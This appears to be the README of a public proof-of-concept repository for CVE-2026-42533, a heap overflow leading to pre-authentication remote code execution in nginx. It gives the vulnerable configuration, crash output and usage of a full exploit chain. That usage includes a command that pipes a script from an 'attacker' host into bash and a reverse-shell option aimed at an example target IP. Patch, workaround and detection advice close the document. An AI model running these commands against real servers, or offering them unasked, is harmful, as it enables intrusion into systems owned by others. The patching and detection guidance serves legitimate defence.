Share
## https://sploitus.com/exploit?id=CDEA6E4E-5665-501A-91F7-BDBB72066199
# CVE-2026-42533 β nginx Heap Buffer Overflow PoC Exploit
**Pre-Authentication Remote Code Execution via Two-Pass Capture Clobbering**
> β‘ **Public PoC released 2026-07-27** β Don't wait, patch now.
| | |
|---|---|
| **CVE** | CVE-2026-42533 |
| **CVSS 4.0** | 9.2 (Critical) |
| **Type** | Heap Buffer Overflow (CWE-122) |
| **Affected** | nginx 0.9.6 β 1.30.3 (stable), 0.9.6 β 1.31.2 (mainline) |
| **Fixed** | nginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1 |
| **Disclosed** | 2026-07-15 (F5 / NGINX) |
| **PoC Released** | 2026-07-27 |
| **Researcher** | Stan Shaw (0xCyberstan) |
## Confirmed Working
| Platform | Diagnostic | Overflow | Crash | Info Leak |
|----------|-----------|----------|-------|-----------|
| **Ubuntu 24.04 x86_64** | β
| β
| β
SIGABRT | β οΈ Partial |
| **Debian 12 ARM64** | β
| β
| β | β |
| **macOS ARM64** | β
| β
| β | β |
## Overview
CVE-2026-42533 is a critical heap buffer overflow in nginx's two-pass string evaluation engine. When a regex-based `map` directive interacts with numbered capture groups (`$1`, `$2`, etc.), the shared `r->captures` structure gets silently overwritten between the LEN (measure) and VALUE (write) passes. This causes a size mismatch:
- **Larger capture β heap buffer overflow** (attacker-controlled out-of-bounds write)
- **Smaller capture β info leak** (uninitialized heap memory exposed, leaking libc/heap pointers)
Chained together, these two primitives enable **reliable pre-auth RCE**, defeating ASLR β demonstrated at 10/10 reliability on Ubuntu 24.04.
## How It Works
```
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β LEN PASS (measure) β
β $1 from location ~ ^/api/(...)$ = "abc" β measures 3 bytesβ
β $overflow_gadget = giant_header β measures 5000 bytes β
β Buffer allocated: 5003 bytes β
β β
β [ $overflow_gadget triggers map regex β clobbers $1 ] β
β $1 now = giant_header (5000 bytes) β
β β
β VALUE PASS (write) β
β $1 writes 5000 bytes (LEN said 3!) β OVERFLOW! β
β $overflow_gadget writes 5000 bytes β
β Total written: 10000 bytes into 5003-byte buffer β
β β 4997 bytes overflow into adjacent heap β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
The overflow corrupts adjacent heap structures. The primary target is `ngx_pool_cleanup_t`:
```c
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // function pointer β overwrite for RIP control
void *data; // argument to handler
ngx_pool_cleanup_t *next; // next in chain
};
```
When the connection pool is destroyed, `handler(data)` is called β arbitrary code execution.
## Repository Structure
```
CVE-2026-42533/
βββ exploit/
β βββ exploit.py # Full exploit chain (leak β spray β overflow β RCE)
β βββ leak.py # Info leak module (heap/libc pointer leak)
β βββ overflow.py # Heap overflow module (crash / RCE trigger)
β βββ analyze.py # GDB analysis helper for offset determination
β βββ requirements.txt # Python dependencies
βββ nginx/
β βββ nginx.conf # Vulnerable nginx configuration
βββ Dockerfile # Docker build for test environment (Ubuntu 24.04)
βββ docker-compose.yml # Docker Compose for easy deployment
βββ README.md
```
## Quick Start
### Prerequisites
- Python 3.8+ with `requests`
- Target: nginx 0.9.6β1.30.3/1.31.2 with vulnerable config (see below)
### 1. Verify Vulnerability (Safe)
```bash
# Diagnostic mode β shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py --diagnose
```
Output:
```
header= 10: LEN= 13 actual= 13 internal_overflow= 7 β
header= 100: LEN= 103 actual= 103 internal_overflow= 97 β
header= 1000: LEN= 1003 actual= 1003 internal_overflow= 997 β
```
### 2. Crash PoC (Proves Exploitability)
```bash
python3 exploit/overflow.py --crash
```
Result on Ubuntu 24.04:
```
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)
```
### 3. Setup Test Environment
```bash
# Ubuntu 24.04 (confirmed working)
ssh root@
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install
# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx
# Run exploit from your machine
python3 exploit/overflow.py --diagnose
```
### 4. Docker (Alternative)
```bash
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose
```
## Usage
### Full Exploit Chain
```bash
python3 exploit/exploit.py [options]
# Examples:
python3 exploit/exploit.py 192.168.1.100 # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only # recon only
python3 exploit/exploit.py 192.168.1.100 --crash # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"
# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
--libc 0x7f1234000000 \
--heap 0x5a1234000000 \
--cmd "curl http://attacker/shell.sh | bash"
# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
--reverse-shell --lhost 10.0.0.1 --lport 4444
```
### Info Leak Module
```bash
python3 exploit/leak.py [options]
# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890
```
### Overflow Module
```bash
python3 exploit/overflow.py --crash # crash worker (PoC)
python3 exploit/overflow.py --spray # heap spray only
```
## Vulnerable Configuration Patterns
The exploit requires this specific pattern in nginx config:
```nginx
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
"~^(.+)$" $1; # regex match overwrites $1
default "";
}
# 2. A regex location (creates captures)
server {
location ~ ^/api/(...)$ { # creates $1, $2, ...
# 3. Both capture AND map variable in same directive
return 200 "$1$overflow_gadget"; # β two-pass sink
}
}
```
**Detect vulnerable configs** using the public scanner:
- https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
## Crash Proof (Ubuntu 24.04)
```
π΅ Worker PID: 12282
[Phase 1] Diagnostic:
header=100: LEN=103, response=103 β
header=1000: LEN=1003, response=1003 β (997 byte internal overflow!)
[Phase 2] Heap Corruption:
8000-byte header β VALUE writes 16000 bytes into 8003-byte buffer
β 7997 bytes overflow past buffer boundary
π΄ Worker PID: 12331 (NEW β old worker DEAD!)
Error log:
free(): invalid next size (normal)
worker process 12282 exited on signal 6 (core dumped)
```
## Mitigation
### Immediate (Patch)
```bash
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1
```
### Interim Workaround
Replace numbered captures with **named captures** in `map` directives:
```nginx
# VULNERABLE
map $http_foo $bar {
"~^(.+)$" $1; # numbered capture β clobbers shared state
}
# MITIGATED
map $http_foo $bar {
"~^(?.+)$" $val; # named capture β isolated
}
```
### Detection
- Run the config scanner: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
- Monitor for unexpected nginx worker restarts
- Check nginx version: `nginx -v` (should be β₯ 1.30.4 or β₯ 1.31.3)
## References
- [F5 Security Advisory](https://my.f5.com/manage/s/article/K000143677)
- [0xCyberstan Technical Writeup](https://cyberstan.co.uk/nginx-rce/)
- [CVE-2026-42533 Config Scanner](https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner)
## Disclaimer
This PoC is released for **security research and defensive purposes**. Use only against systems you own or have explicit authorization to test. The vulnerability has been patched β upgrade immediately if you haven't already.